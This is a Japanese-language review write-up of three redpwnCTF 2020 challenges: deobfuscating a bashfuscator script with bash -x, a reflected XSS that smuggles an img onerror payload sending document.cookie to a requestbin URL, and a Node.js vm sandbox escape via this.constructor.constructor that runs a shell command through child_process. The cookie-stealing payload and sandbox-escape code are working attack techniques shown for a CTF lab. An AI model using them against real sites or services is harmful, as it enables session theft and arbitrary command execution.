redpwnCTF 2020 復習編
misc/uglybash
解き方はわかったのに私の環境のbashが古くて動かなかった。かなしい
bashfuscatorというツールで難読化されているっぽい。
bashのxオプションでデバッグ情報を出力することができる。
$ bash -x cmd.sh > tmp.txt 2>&1 $ grep printf tmp.txt (snip) +++ printf %s e +++ printf %s c +++ printf %s h +++ printf %s o +++ printf %s ' ' +++ printf %s d +++ printf %s o +++ printf %s n +++ printf %s t +++ printf %s ' ' +++ printf %s j +++ printf %s u +++ printf %s s +++ printf %s t +++ printf %s ' ' +++ printf %s r +++ printf %s u +++ printf %s n +++ printf %s ' ' +++ printf %s i +++ printf %s t +++ printf %s , +++ printf %s ' ' +++ printf %s d +++ printf %s u +++ printf %s m +++ printf %s m +++ printf %s y +++ printf %s ' ' +++ printf %s '#' +++ printf %s ' ' +++ printf %s f +++ printf %s l +++ printf %s a +++ printf %s g +++ printf %s '{' +++ printf %s u +++ printf %s s +++ printf %s 3 +++ printf %s _ +++ printf %s z +++ printf %s s +++ printf %s h +++ printf %s , +++ printf %s _ +++ printf %s d +++ printf %s u +++ printf %s m +++ printf %s m +++ printf %s y +++ printf %s '}' +++ printf %s '
flag: flag{us3_zsh,_dummy}
web/static-pastebin
reflected XSS。
エスケープを独特の実装でやっているのでそこに脆弱性があるとは思ったけど解けなかった。
先に">"を入力しておくことで"<"を通すことができる。
下記のようなスクリプトを書き込むことでcookieを取れる。
><img src=x onerror="location.href='http://[requestbin URL]?cookie='+document.cookie"><
これをbase64したものを#の後ろに付けたURLをadmin botに踏ませれば、cookie内にフラグ。
flag: flag{54n1t1z4t10n_k1nd4_h4rd}
misc/CaaSiNO
Node.jsのvmモジュールはサンドボックス環境を提供する。
しかし、thisとconstructorを組み合わせると親環境にアクセスできるらしい。
Sandboxing NodeJS is hard, here is why
$ nc 2020.redpwnc.tf 31273 > const process = this.constructor.constructor('return this.process')(); process.mainModule.require('child_process').execSync('cat /ctf/flag.txt').toString() flag{vm_1snt_s4f3_4ft3r_41l_29ka5sqD}
flag: flag{vm_1snt_s4f3_4ft3r_41l_29ka5sqD}